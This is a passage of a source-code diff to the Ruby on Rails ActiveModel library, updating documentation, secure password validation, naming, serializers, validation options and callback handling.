-      # <tt>:human</tt>, <tt>:singular</tt> and <tt>:plural</tt>. Check
-      # ActiveModel::Naming for more information.
+      # Check ActiveModel::Naming for more information.
       def test_model_naming
-        assert model.class.respond_to?(:model_name), "The model should respond to model_name"
+        assert model.class.respond_to?(:model_name), "The model class should respond to model_name"
         model_name = model.class.model_name
         assert model_name.respond_to?(:to_str)
         assert model_name.human.respond_to?(:to_str)
         assert model_name.singular.respond_to?(:to_str)
         assert model_name.plural.respond_to?(:to_str)
+
+        assert model.respond_to?(:model_name), "The model instance should respond to model_name"
+        assert_equal model.model_name, model.class.model_name
       end
 
-      # == \Errors Testing
+      # Passes if the object's model responds to <tt>errors</tt> and if calling
+      # <tt>[](attribute)</tt> on the result of this method returns an array.
+      # Fails otherwise.
       #
-      # Returns an object that implements [](attribute) defined which returns an
-      # Array of Strings that are the errors for the attribute in question.
-      # If localization is used, the Strings should be localized for the current
-      # locale. If no error is present, this method should return an empty Array.
+      # <tt>errors[attribute]</tt> is used to retrieve the errors of a model
+      # for a given attribute. If errors are present, the method should return
+      # an array of strings that are the errors for the attribute in question.
+      # If localization is used, the strings should be localized for the current
+      # locale. If no error is present, the method should return an empty array.
       def test_errors_aref
         assert model.respond_to?(:errors), "The model should respond to errors"
         assert model.errors[:hello].is_a?(Array), "errors#[] should return an Array"
diff --git a/activemodel/lib/active_model/locale/en.yml b/activemodel/lib/active_model/locale/en.yml
index 540e8132d3..b11c8f53b4 100644
--- a/activemodel/lib/active_model/locale/en.yml
+++ b/activemodel/lib/active_model/locale/en.yml
@@ -14,9 +14,15 @@ en:
       empty: "can't be empty"
       blank: "can't be blank"
       present: "must be blank"
-      too_long: "is too long (maximum is %{count} characters)"
-      too_short: "is too short (minimum is %{count} characters)"
-      wrong_length: "is the wrong length (should be %{count} characters)"
+      too_long:
+        one: "is too long (maximum is 1 character)"
+        other: "is too long (maximum is %{count} characters)"
+      too_short:
+        one: "is too short (minimum is 1 character)"
+        other: "is too short (minimum is %{count} characters)"
+      wrong_length:
+        one: "is the wrong length (should be 1 character)"
+        other: "is the wrong length (should be %{count} characters)"
       not_a_number: "is not a number"
       not_an_integer: "must be an integer"
       greater_than: "must be greater than %{count}"
diff --git a/activemodel/lib/active_model/model.rb b/activemodel/lib/active_model/model.rb
index f048dda5c6..dac8d549a7 100644
--- a/activemodel/lib/active_model/model.rb
+++ b/activemodel/lib/active_model/model.rb
@@ -1,6 +1,6 @@
 module ActiveModel
 
-  # == Active \Model Basic \Model
+  # == Active \Model \Basic \Model
   #
   # Includes the required interface for an object to interact with
   # <tt>ActionPack</tt>, using different <tt>ActiveModel</tt> modules.
@@ -16,8 +16,8 @@ module ActiveModel
   #   end
   #
   #   person = Person.new(name: 'bob', age: '18')
-  #   person.name # => 'bob'
-  #   person.age  # => 18
+  #   person.name # => "bob"
+  #   person.age  # => "18"
   #
   # Note that, by default, <tt>ActiveModel::Model</tt> implements <tt>persisted?</tt>
   # to return +false+, which is the most common case. You may want to override
@@ -56,13 +56,14 @@ module ActiveModel
   # refer to the specific modules included in <tt>ActiveModel::Model</tt>
   # (see below).
   module Model
-    def self.included(base) #:nodoc:
-      base.class_eval do
-        extend  ActiveModel::Naming
-        extend  ActiveModel::Translation
-        include ActiveModel::Validations
-        include ActiveModel::Conversion
-      end
+    extend ActiveSupport::Concern
+    include ActiveModel::AttributeAssignment
+    include ActiveModel::Validations
+    include ActiveModel::Conversion
+
+    included do
+      extend ActiveModel::Naming
+      extend ActiveModel::Translation
     end
 
     # Initializes a new model with the given +params+.
@@ -74,11 +75,9 @@ module ActiveModel
     #
     #   person = Person.new(name: 'bob', age: '18')
     #   person.name # => "bob"
-    #   person.age  # => 18
-    def initialize(params={})
-      params.each do |attr, value|
-        self.public_send("#{attr}=", value)
-      end if params
+    #   person.age  # => "18"
+    def initialize(attributes={})
+      assign_attributes(attributes) if attributes
 
       super()
     end
diff --git a/activemodel/lib/active_model/naming.rb b/activemodel/lib/active_model/naming.rb
index bc9edf4a56..2bc3eeaa19 100644
--- a/activemodel/lib/active_model/naming.rb
+++ b/activemodel/lib/active_model/naming.rb
@@ -1,5 +1,6 @@
 require 'active_support/core_ext/hash/except'
 require 'active_support/core_ext/module/introspection'
+require 'active_support/core_ext/module/remove_method'
 
 module ActiveModel
   class Name
@@ -189,8 +190,8 @@ module ActiveModel
 
     private
 
-    def _singularize(string, replacement='_')
-      ActiveSupport::Inflector.underscore(string).tr('/', replacement)
+    def _singularize(string)
+      ActiveSupport::Inflector.underscore(string).tr('/', '_')
     end
   end
 
@@ -204,24 +205,30 @@ module ActiveModel
   #     extend ActiveModel::Naming
   #   end
   #
-  #   BookCover.model_name        # => "BookCover"
+  #   BookCover.model_name.name   # => "BookCover"
   #   BookCover.model_name.human  # => "Book cover"
   #
   #   BookCover.model_name.i18n_key              # => :book_cover
   #   BookModule::BookCover.model_name.i18n_key  # => :"book_module/book_cover"
   #
   # Providing the functionality that ActiveModel::Naming provides in your object
-  # is required to pass the Active Model Lint test. So either extending the
+  # is required to pass the \Active \Model Lint test. So either extending the
   # provided method below, or rolling your own is required.
   module Naming
+    def self.extended(base) #:nodoc:
+      base.remove_possible_method :model_name
+      base.delegate :model_name, to: :class
+    end
+
     # Returns an ActiveModel::Name object for module. It can be
     # used to retrieve all kinds of naming-related information
     # (See ActiveModel::Name for more information).
     #
-    #   class Person < ActiveModel::Model
+    #   class Person
+    #     include ActiveModel::Model
     #   end
     #
-    #   Person.model_name          # => Person
+    #   Person.model_name.name     # => "Person"
     #   Person.model_name.class    # => ActiveModel::Name
     #   Person.model_name.singular # => "person"
     #   Person.model_name.plural   # => "people"
@@ -262,10 +269,10 @@ module ActiveModel
     # namespaced models regarding whether it's inside isolated engine.
     #
     #   # For isolated engine:
-    #   ActiveModel::Naming.singular_route_key(Blog::Post) #=> post
+    #   ActiveModel::Naming.singular_route_key(Blog::Post) # => "post"
     #
     #   # For shared engine:
-    #   ActiveModel::Naming.singular_route_key(Blog::Post) #=> blog_post
+    #   ActiveModel::Naming.singular_route_key(Blog::Post) # => "blog_post"
     def self.singular_route_key(record_or_class)
       model_name_from_record_or_class(record_or_class).singular_route_key
     end
@@ -274,10 +281,10 @@ module ActiveModel
     # namespaced models regarding whether it's inside isolated engine.
     #
     #   # For isolated engine:
-    #   ActiveModel::Naming.route_key(Blog::Post) #=> posts
+    #   ActiveModel::Naming.route_key(Blog::Post) # => "posts"
     #
     #   # For shared engine:
-    #   ActiveModel::Naming.route_key(Blog::Post) #=> blog_posts
+    #   ActiveModel::Naming.route_key(Blog::Post) # => "blog_posts"
     #
     # The route key also considers if the noun is uncountable and, in
     # such cases, automatically appends _index.
@@ -289,21 +296,19 @@ module ActiveModel
     # namespaced models regarding whether it's inside isolated engine.
     #
     #   # For isolated engine:
-    #   ActiveModel::Naming.param_key(Blog::Post) #=> post
+    #   ActiveModel::Naming.param_key(Blog::Post) # => "post"
     #
     #   # For shared engine:
-    #   ActiveModel::Naming.param_key(Blog::Post) #=> blog_post
+    #   ActiveModel::Naming.param_key(Blog::Post) # => "blog_post"
     def self.param_key(record_or_class)
       model_name_from_record_or_class(record_or_class).param_key
     end
 
     def self.model_name_from_record_or_class(record_or_class) #:nodoc:
-      if record_or_class.respond_to?(:model_name)
-        record_or_class.model_name
-      elsif record_or_class.respond_to?(:to_model)
-        record_or_class.to_model.class.model_name
+      if record_or_class.respond_to?(:to_model)
+        record_or_class.to_model.model_name
       else
-        record_or_class.class.model_name
+        record_or_class.model_name
       end
     end
     private_class_method :model_name_from_record_or_class
diff --git a/activemodel/lib/active_model/secure_password.rb b/activemodel/lib/active_model/secure_password.rb
index 8b9ac97bbb..871031ece4 100644
--- a/activemodel/lib/active_model/secure_password.rb
+++ b/activemodel/lib/active_model/secure_password.rb
@@ -2,6 +2,11 @@ module ActiveModel
   module SecurePassword
     extend ActiveSupport::Concern
 
+    # BCrypt hash function can handle maximum 72 characters, and if we pass
+    # password of length more than 72 characters it ignores extra characters.
+    # Hence need to put a restriction on password length.
+    MAX_PASSWORD_LENGTH_ALLOWED = 72
+
     class << self
       attr_accessor :min_cost # :nodoc:
     end
@@ -9,20 +14,24 @@ module ActiveModel
 
     module ClassMethods
       # Adds methods to set and authenticate against a BCrypt password.
-      # This mechanism requires you to have a password_digest attribute.
+      # This mechanism requires you to have a +password_digest+ attribute.
+      #
+      # The following validations are added automatically:
+      # * Password must be present on creation
+      # * Password length should be less than or equal to 72 characters
+      # * Confirmation of password (using a +password_confirmation+ attribute)
       #
-      # Validations for presence of password on create, confirmation of password
-      # (using a +password_confirmation+ attribute) are automatically added. If
-      # you wish to turn off validations, pass <tt>validations: false</tt> as an
-      # argument. You can add more validations by hand if need be.
+      # If password confirmation validation is not needed, simply leave out the
+      # value for +password_confirmation+ (i.e. don't provide a form field for
+      # it). When this attribute has a +nil+ value, the validation will not be
+      # triggered.
       #
-      # If you don't need the confirmation validation, just don't set any
-      # value to the password_confirmation attribute and the validation
-      # will not be triggered.
+      # For further customizability, it is possible to supress the default
+      # validations by passing <tt>validations: false</tt> as an argument.
       #
-      # You need to add bcrypt-ruby (~> 3.1.0) to Gemfile to use #has_secure_password:
+      # Add bcrypt (~> 3.1.7) to Gemfile to use #has_secure_password:
       #
-      #   gem 'bcrypt-ruby', '~> 3.1.0'
+      #   gem 'bcrypt', '~> 3.1.7'
       #
       # Example using Active Record (which automatically includes ActiveModel::SecurePassword):
       #
@@ -42,33 +51,31 @@ module ActiveModel
       #   User.find_by(name: 'david').try(:authenticate, 'notright')      # => false
       #   User.find_by(name: 'david').try(:authenticate, 'mUc3m00RsqyRe') # => user
       def has_secure_password(options = {})
-        # Load bcrypt-ruby only when has_secure_password is used.
+        # Load bcrypt gem only when has_secure_password is used.
         # This is to avoid ActiveModel (and by extension the entire framework)
         # being dependent on a binary library.
         begin
-          gem 'bcrypt-ruby', '~> 3.1.0'
           require 'bcrypt'
         rescue LoadError
-          $stderr.puts "You don't have bcrypt-ruby installed in your application. Please add it to your Gemfile and run bundle install"
+          $stderr.puts "You don't have bcrypt installed in your application. Please add it to your Gemfile and run bundle install"
           raise
         end
 
-        attr_reader :password
-
         include InstanceMethodsOnActivation
 
         if options.fetch(:validations, true)
-          validates_confirmation_of :password, if: :should_confirm_password?
-          validates_presence_of     :password, on: :create
-          validates_presence_of     :password_confirmation, if: :should_confirm_password?
-
-          before_create { raise "Password digest missing on new record" if password_digest.blank? }
-        end
+          include ActiveModel::Validations
 
-        if respond_to?(:attributes_protected_by_default)
-          def self.attributes_protected_by_default #:nodoc:
-            super + ['password_digest']
+          # This ensures the model has a password by checking whether the password_digest
+          # is present, so that this works with both new and existing records. However,
+          # when there is an error, the message is added to the password attribute instead
+          # so that the error message will make sense to the end-user.
+          validate do |record|
+            record.errors.add(:password, :blank) unless record.password_digest.present?
           end
+
+          validates_length_of :password, maximum: ActiveModel::SecurePassword::MAX_PASSWORD_LENGTH_ALLOWED
+          validates_confirmation_of :password, allow_blank: true
         end
       end
     end
@@ -85,11 +92,13 @@ module ActiveModel
       #   user.authenticate('notright')      # => false
       #   user.authenticate('mUc3m00RsqyRe') # => user
       def authenticate(unencrypted_password)
-        BCrypt::Password.new(password_digest) == unencrypted_password && self
+        BCrypt::Password.new(password_digest).is_password?(unencrypted_password) && self
       end
 
+      attr_reader :password
+
       # Encrypts the password into the +password_digest+ attribute, only if the
-      # new password is not blank.
+      # new password is not empty.
       #
       #   class User < ActiveRecord::Base
       #     has_secure_password validations: false
@@ -101,9 +110,11 @@ module ActiveModel
       #   user.password = 'mUc3m00RsqyRe'
       #   user.password_digest # => "$2a$10$4LEA7r4YmNHtvlAvHhsYAeZmk/xeUVtMTYqwIvYY76EW5GUqDiP4."
       def password=(unencrypted_password)
-        unless unencrypted_password.blank?
+        if unencrypted_password.nil?
+          self.password_digest = nil
+        elsif !unencrypted_password.empty?
           @password = unencrypted_password
-          cost = ActiveModel::SecurePassword.min_cost ? BCrypt::Engine::MIN_COST : BCrypt::Engine::DEFAULT_COST
+          cost = ActiveModel::SecurePassword.min_cost ? BCrypt::Engine::MIN_COST : BCrypt::Engine.cost
           self.password_digest = BCrypt::Password.create(unencrypted_password, cost: cost)
         end
       end
@@ -111,12 +122,6 @@ module ActiveModel
       def password_confirmation=(unencrypted_password)
         @password_confirmation = unencrypted_password
       end
-
-      private
-
-      def should_confirm_password?
-        password_confirmation && password.present?
-      end
     end
   end
 end
diff --git a/activemodel/lib/active_model/serialization.rb b/activemodel/lib/active_model/serialization.rb
index fdb06aebb9..976f50b13e 100644
--- a/activemodel/lib/active_model/serialization.rb
+++ b/activemodel/lib/active_model/serialization.rb
@@ -4,7 +4,7 @@ require 'active_support/core_ext/hash/slice'
 module ActiveModel
   # == Active \Model \Serialization
   #
-  # Provides a basic serialization to a serializable_hash for your object.
+  # Provides a basic serialization to a serializable_hash for your objects.
   #
   # A minimal implementation could be:
   #
@@ -25,14 +25,14 @@ module ActiveModel
   #   person.name = "Bob"
   #   person.serializable_hash   # => {"name"=>"Bob"}
   #
-  # You need to declare an attributes hash which contains the attributes you
-  # want to serialize. Attributes must be strings, not symbols. When called,
-  # serializable hash will use instance methods that match the name of the
-  # attributes hash's keys. In order to override this behavior, take a look at
-  # the private method +read_attribute_for_serialization+.
+  # An +attributes+ hash must be defined and should contain any attributes you
+  # need to be serialized. Attributes must be strings, not symbols.
+  # When called, serializable hash will use instance methods that match the name
+  # of the attributes hash's keys. In order to override this behavior, take a look
+  # at the private method +read_attribute_for_serialization+.
   #
-  # Most of the time though, you will want to include the JSON or XML
-  # serializations. Both of these modules automatically include the
+  # Most of the time though, either the JSON or XML serializations are needed.
+  # Both of these modules automatically include the
   # <tt>ActiveModel::Serialization</tt> module, so there is no need to
   # explicitly include it.
   #
@@ -128,7 +128,7 @@ module ActiveModel
       # retrieve the value for a given attribute differently:
       #
       #   class MyClass
-      #     include ActiveModel::Validations
+      #     include ActiveModel::Serialization
       #
       #     def initialize(data = {})
       #       @data = data
diff --git a/activemodel/lib/active_model/serializers/json.rb b/activemodel/lib/active_model/serializers/json.rb
index 05e2e089e5..b66dbf1afe 100644
--- a/activemodel/lib/active_model/serializers/json.rb
+++ b/activemodel/lib/active_model/serializers/json.rb
@@ -2,7 +2,7 @@ require 'active_support/json'
 
 module ActiveModel
   module Serializers
-    # == Active Model JSON Serializer
+    # == Active \Model \JSON \Serializer
     module JSON
       extend ActiveSupport::Concern
       include ActiveModel::Serialization
@@ -93,7 +93,7 @@ module ActiveModel
         end
 
         if root
-          root = self.class.model_name.element if root == true
+          root = model_name.element if root == true
           { root => serializable_hash(options) }
         else
           serializable_hash(options)
@@ -130,10 +130,10 @@ module ActiveModel
       #
       #   json = { person: { name: 'bob', age: 22, awesome:true } }.to_json
       #   person = Person.new
-      #   person.from_json(json) # => #<Person:0x007fec5e7a0088 @age=22, @awesome=true, @name="bob">
-      #   person.name            # => "bob"
-      #   person.age             # => 22
-      #   person.awesome         # => true
+      #   person.from_json(json, true) # => #<Person:0x007fec5e7a0088 @age=22, @awesome=true, @name="bob">
+      #   person.name                  # => "bob"
+      #   person.age                   # => 22
+      #   person.awesome               # => true
       def from_json(json, include_root=include_root_in_json)
         hash = ActiveSupport::JSON.decode(json)
         hash = hash.values.first if include_root
diff --git a/activemodel/lib/active_model/serializers/xml.rb b/activemodel/lib/active_model/serializers/xml.rb
index 2864c2ba11..e33c766627 100644
--- a/activemodel/lib/active_model/serializers/xml.rb
+++ b/activemodel/lib/active_model/serializers/xml.rb
@@ -1,4 +1,4 @@
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
 require 'active_support/core_ext/array/conversions'
 require 'active_support/core_ext/hash/conversions'
 require 'active_support/core_ext/hash/slice'
@@ -6,7 +6,7 @@ require 'active_support/core_ext/time/acts_like'
 
 module ActiveModel
   module Serializers
-    # == Active Model XML Serializer
+    # == \Active \Model XML Serializer
     module Xml
       extend ActiveSupport::Concern
       include ActiveModel::Serialization
@@ -84,7 +84,7 @@ module ActiveModel
           @builder = options[:builder]
           @builder.instruct! unless options[:skip_instruct]
 
-          root = (options[:root] || @serializable.class.model_name.element).to_s
+          root = (options[:root] || @serializable.model_name.element).to_s
           root = ActiveSupport::XmlMini.rename_key(root, options)
 
           args = [root]
diff --git a/activemodel/lib/active_model/validations.rb b/activemodel/lib/active_model/validations.rb
index 31c2245265..6a2668b8f7 100644
--- a/activemodel/lib/active_model/validations.rb
+++ b/activemodel/lib/active_model/validations.rb
@@ -4,7 +4,7 @@ require 'active_support/core_ext/hash/except'
 
 module ActiveModel
 
-  # == Active \Model Validations
+  # == Active \Model \Validations
   #
   # Provides a full validation framework to your objects.
   #
@@ -39,6 +39,7 @@ module ActiveModel
     extend ActiveSupport::Concern
 
     included do
+      extend ActiveModel::Naming
       extend ActiveModel::Callbacks
       extend ActiveModel::Translation
 
@@ -66,8 +67,11 @@ module ActiveModel
       #   end
       #
       # Options:
-      # * <tt>:on</tt> - Specifies the context where this validation is active
-      #   (e.g. <tt>on: :create</tt> or <tt>on: :custom_validation_context</tt>)
+      # * <tt>:on</tt> - Specifies the contexts where this validation is active.
+      #   Runs in all validation contexts by default (nil). You can pass a symbol
+      #   or an array of symbols. (e.g. <tt>on: :create</tt> or
+      #   <tt>on: :custom_validation_context</tt> or
+      #   <tt>on: [:create, :custom_validation_context]</tt>)
       # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
       # * <tt>:allow_blank</tt> - Skip validation if attribute is blank.
       # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
@@ -83,6 +87,8 @@ module ActiveModel
         validates_with BlockValidator, _merge_attributes(attr_names), &block
       end
 
+      VALID_OPTIONS_FOR_VALIDATE = [:on, :if, :unless, :prepend].freeze
+
       # Adds a validation method or block to the class. This is useful when
       # overriding the +validate+ instance method becomes too unwieldy and
       # you're looking for more descriptive declaration of your validations.
@@ -124,10 +130,11 @@ module ActiveModel
       #   end
       #
       # Options:
-      # * <tt>:on</tt> - Specifies the context where this validation is active
-      #   (e.g. <tt>on: :create</tt> or <tt>on: :custom_validation_context</tt>)
-      # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
-      # * <tt>:allow_blank</tt> - Skip validation if attribute is blank.
+      # * <tt>:on</tt> - Specifies the contexts where this validation is active.
+      #   Runs in all validation contexts by default (nil). You can pass a symbol
+      #   or an array of symbols. (e.g. <tt>on: :create</tt> or
+      #   <tt>on: :custom_validation_context</tt> or
+      #   <tt>on: [:create, :custom_validation_context]</tt>)
       # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
       #   if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
       #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
@@ -139,13 +146,23 @@ module ActiveModel
       #   value.
       def validate(*args, &block)
         options = args.extract_options!
+
+        if args.all? { |arg| arg.is_a?(Symbol) }
+          options.each_key do |k|
+            unless VALID_OPTIONS_FOR_VALIDATE.include?(k)
+              raise ArgumentError.new("Unknown key: #{k.inspect}. Valid keys are: #{VALID_OPTIONS_FOR_VALIDATE.map(&:inspect).join(', ')}. Perhaps you meant to call `validates` instead of `validate`?")
+            end
+          end
+        end
+
         if options.key?(:on)
           options = options.dup
           options[:if] = Array(options[:if])
-          options[:if].unshift lambda { |o|
-            o.validation_context == options[:on]
+          options[:if].unshift ->(o) {
+            Array(options[:on]).include?(o.validation_context)
           }
         end
+
         args << options
         set_callback(:validate, *args, &block)
       end
@@ -199,12 +216,12 @@ module ActiveModel
       #   #      #<StrictValidator:0x007fbff3204a30 @options={strict:true}>
       #   #    ]
       #
-      # If one runs Person.clear_validators! and then checks to see what
+      # If one runs <tt>Person.clear_validators!</tt> and then checks to see what
       # validators this class has, you would obtain:
       #
       #   Person.validators # => []
       #
-      # Also, the callback set by +validate :cannot_be_robot+ will be erased
+      # Also, the callback set by <tt>validate :cannot_be_robot</tt> will be erased
       # so that:
       #
       #   Person._validate_callbacks.empty?  # => true
@@ -283,6 +300,8 @@ module ActiveModel
     # Runs all the specified validations and returns +true+ if no errors were
     # added otherwise +false+.
     #
+    # Aliased as validate.
+    #
     #   class Person
     #     include ActiveModel::Validations
     #
@@ -317,6 +336,8 @@ module ActiveModel
       self.validation_context = current_context
     end
 
+    alias_method :validate, :valid?
+
     # Performs the opposite of <tt>valid?</tt>. Returns +true+ if errors were
     # added, +false+ otherwise.
     #
@@ -371,7 +392,7 @@ module ActiveModel
   protected
 
     def run_validations! #:nodoc:
-      run_callbacks :validate
+      _run_validate_callbacks
       errors.empty?
     end
   end
diff --git a/activemodel/lib/active_model/validations/absence.rb b/activemodel/lib/active_model/validations/absence.rb
index 1a1863370b..75bf655578 100644
--- a/activemodel/lib/active_model/validations/absence.rb
+++ b/activemodel/lib/active_model/validations/absence.rb
@@ -1,6 +1,6 @@
 module ActiveModel
   module Validations
-    # == Active Model Absence Validator
+    # == \Active \Model Absence Validator
     class AbsenceValidator < EachValidator #:nodoc:
       def validate_each(record, attr_name, value)
         record.errors.add(attr_name, :present, options) if value.present?
@@ -21,7 +21,7 @@ module ActiveModel
       # * <tt>:message</tt> - A custom error message (default is: "must be blank").
       #
       # There is also a list of default options supported by every validator:
-      # +:if+, +:unless+, +:on+ and +:strict+.
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
       # See <tt>ActiveModel::Validation#validates</tt> for more information
       def validates_absence_of(*attr_names)
         validates_with AbsenceValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/acceptance.rb b/activemodel/lib/active_model/validations/acceptance.rb
index 139de16326..ee160fb483 100644
--- a/activemodel/lib/active_model/validations/acceptance.rb
+++ b/activemodel/lib/active_model/validations/acceptance.rb
@@ -3,12 +3,12 @@ module ActiveModel
   module Validations
     class AcceptanceValidator < EachValidator # :nodoc:
       def initialize(options)
-        super({ allow_nil: true, accept: "1" }.merge!(options))
+        super({ allow_nil: true, accept: ["1", true] }.merge!(options))
         setup!(options[:class])
       end
 
       def validate_each(record, attribute, value)
-        unless value == options[:accept]
+        unless acceptable_option?(value)
           record.errors.add(attribute, :accepted, options.except(:accept, :allow_nil))
         end
       end
@@ -20,6 +20,10 @@ module ActiveModel
         klass.send(:attr_reader, *attr_readers)
         klass.send(:attr_writer, *attr_writers)
       end
+
+      def acceptable_option?(value)
+        Array(options[:accept]).include?(value)
+      end
     end
 
     module HelperMethods
@@ -38,8 +42,6 @@ module ActiveModel
       # Configuration options:
       # * <tt>:message</tt> - A custom error message (default is: "must be
       #   accepted").
-      # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+ (default
-      #   is +true+).
       # * <tt>:accept</tt> - Specifies value that is considered accepted.
       #   The default value is a string "1", which makes it easy to relate to
       #   an HTML checkbox. This should be set to +true+ if you are validating
@@ -47,8 +49,8 @@ module ActiveModel
       #   before validation.
       #
       # There is also a list of default options supported by every validator:
-      # +:if+, +:unless+, +:on+ and +:strict+.
-      # See <tt>ActiveModel::Validation#validates</tt> for more information
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
+      # See <tt>ActiveModel::Validation#validates</tt> for more information.
       def validates_acceptance_of(*attr_names)
         validates_with AcceptanceValidator, _merge_attributes(attr_names)
       end
diff --git a/activemodel/lib/active_model/validations/callbacks.rb b/activemodel/lib/active_model/validations/callbacks.rb
index fde53b9f89..4b58ef66e3 100644
--- a/activemodel/lib/active_model/validations/callbacks.rb
+++ b/activemodel/lib/active_model/validations/callbacks.rb
@@ -1,6 +1,6 @@
 module ActiveModel
   module Validations
-    # == Active \Model Validation Callbacks
+    # == Active \Model \Validation \Callbacks
     #
     # Provides an interface for any class to have +before_validation+ and
     # +after_validation+ callbacks.
@@ -15,15 +15,14 @@ module ActiveModel
     #     after_validation  :do_stuff_after_validation
     #   end
     #
-    # Like other <tt>before_*</tt> callbacks if +before_validation+ returns
-    # +false+ then <tt>valid?</tt> will not be called.
+    # Like other <tt>before_*</tt> callbacks if +before_validation+ throws
+    # +:abort+ then <tt>valid?</tt> will not be called.
     module Callbacks
       extend ActiveSupport::Concern
 
       included do
         include ActiveSupport::Callbacks
         define_callbacks :validation,
-                         terminator: ->(_,result) { result == false },
                          skip_after_callbacks_if_terminated: true,
                          scope: [:kind, :name]
       end
@@ -58,7 +57,7 @@ module ActiveModel
           if options.is_a?(Hash) && options[:on]
             options[:if] = Array(options[:if])
             options[:on] = Array(options[:on])
-            options[:if].unshift lambda { |o|
+            options[:if].unshift ->(o) {
               options[:on].include? o.validation_context
             }
           end
@@ -98,7 +97,9 @@ module ActiveModel
           options[:if] = Array(options[:if])
           if options[:on]
             options[:on] = Array(options[:on])
-            options[:if].unshift("#{options[:on]}.include? self.validation_context")
+            options[:if].unshift ->(o) {
+              options[:on].include? o.validation_context
+            }
           end
           set_callback(:validation, :after, *(args << options), &block)
         end
@@ -108,7 +109,7 @@ module ActiveModel
 
       # Overwrite run validations to include callbacks.
       def run_validations! #:nodoc:
-        run_callbacks(:validation) { super }
+        _run_validation_callbacks { super }
       end
     end
   end
diff --git a/activemodel/lib/active_model/validations/clusivity.rb b/activemodel/lib/active_model/validations/clusivity.rb
index 1c35cb7c35..bad9e4f9a9 100644
--- a/activemodel/lib/active_model/validations/clusivity.rb
+++ b/activemodel/lib/active_model/validations/clusivity.rb
@@ -30,12 +30,21 @@ module ActiveModel
         @delimiter ||= options[:in] || options[:within]
       end
 
-      # In Ruby 1.9 <tt>Range#include?</tt> on non-numeric ranges checks all possible values in the
-      # range for equality, which is slower but more accurate. <tt>Range#cover?</tt> uses
-      # the previous logic of comparing a value with the range endpoints, which is fast
-      # but is only accurate on numeric ranges.
+      # In Ruby 1.9 <tt>Range#include?</tt> on non-number-or-time-ish ranges checks all
+      # possible values in the range for equality, which is slower but more accurate.
+      # <tt>Range#cover?</tt> uses the previous logic of comparing a value with the range
+      # endpoints, which is fast but is only accurate on Numeric, Time, or DateTime ranges.
       def inclusion_method(enumerable)
-        (enumerable.is_a?(Range) && enumerable.first.is_a?(Numeric)) ? :cover? : :include?
+        if enumerable.is_a? Range
+          case enumerable.first
+          when Numeric, Time, DateTime
+            :cover?
+          else
+            :include?
+          end
+        else
+          :include?
+        end
       end
     end
   end
diff --git a/activemodel/lib/active_model/validations/confirmation.rb b/activemodel/lib/active_model/validations/confirmation.rb
index b0542661af..1b11c28087 100644
--- a/activemodel/lib/active_model/validations/confirmation.rb
+++ b/activemodel/lib/active_model/validations/confirmation.rb
@@ -54,10 +54,10 @@ module ActiveModel
       #
       # Configuration options:
       # * <tt>:message</tt> - A custom error message (default is: "doesn't match
-      #   confirmation").
+      #   <tt>%{translated_attribute_name}</tt>").
       #
       # There is also a list of default options supported by every validator:
-      # +:if+, +:unless+, +:on+ and +:strict+.
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
       # See <tt>ActiveModel::Validation#validates</tt> for more information
       def validates_confirmation_of(*attr_names)
         validates_with ConfirmationValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/exclusion.rb b/activemodel/lib/active_model/validations/exclusion.rb
index 48bf5cd802..f342d27275 100644
--- a/activemodel/lib/active_model/validations/exclusion.rb
+++ b/activemodel/lib/active_model/validations/exclusion.rb
@@ -34,13 +34,9 @@ module ActiveModel
       #   <tt>Range#cover?</tt>, otherwise with <tt>include?</tt>.
       # * <tt>:message</tt> - Specifies a custom error message (default is: "is
       #   reserved").
-      # * <tt>:allow_nil</tt> - If set to true, skips this validation if the
-      #   attribute is +nil+ (default is +false+).
-      # * <tt>:allow_blank</tt> - If set to true, skips this validation if the
-      #   attribute is blank(default is +false+).
       #
       # There is also a list of default options supported by every validator:
-      # +:if+, +:unless+, +:on+ and +:strict+.
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
       # See <tt>ActiveModel::Validation#validates</tt> for more information
       def validates_exclusion_of(*attr_names)
         validates_with ExclusionValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/format.rb b/activemodel/lib/active_model/validations/format.rb
index be7cae588f..02478dd5b6 100644
--- a/activemodel/lib/active_model/validations/format.rb
+++ b/activemodel/lib/active_model/validations/format.rb
@@ -17,8 +17,8 @@ module ActiveModel
           raise ArgumentError, "Either :with or :without must be supplied (but not both)"
         end
 
-        check_options_validity(options, :with)
-        check_options_validity(options, :without)
+        check_options_validity :with
+        check_options_validity :without
       end
 
       private
@@ -32,27 +32,29 @@ module ActiveModel
         record.errors.add(attribute, :invalid, options.except(name).merge!(value: value))
       end
 
-      def regexp_using_multiline_anchors?(regexp)
-        regexp.source.start_with?("^") ||
-          (regexp.source.end_with?("$") && !regexp.source.end_with?("\\$"))
+      def check_options_validity(name)
+        if option = options[name]
+          if option.is_a?(Regexp)
+            if options[:multiline] != true && regexp_using_multiline_anchors?(option)
+              raise ArgumentError, "The provided regular expression is using multiline anchors (^ or $), " \
+              "which may present a security risk. Did you mean to use \\A and \\z, or forgot to add the " \
+              ":multiline => true option?"
+            end
+          elsif !option.respond_to?(:call)
+            raise ArgumentError, "A regular expression or a proc or lambda must be supplied as :#{name}"
+          end
+        end
       end
 
-      def check_options_validity(options, name)
-        option = options[name]
-        if option && !option.is_a?(Regexp) && !option.respond_to?(:call)
-          raise ArgumentError, "A regular expression or a proc or lambda must be supplied as :#{name}"
-        elsif option && option.is_a?(Regexp) &&
-              regexp_using_multiline_anchors?(option) && options[:multiline] != true
-          raise ArgumentError, "The provided regular expression is using multiline anchors (^ or $), " \
-          "which may present a security risk. Did you mean to use \\A and \\z, or forgot to add the " \
-          ":multiline => true option?"
-        end
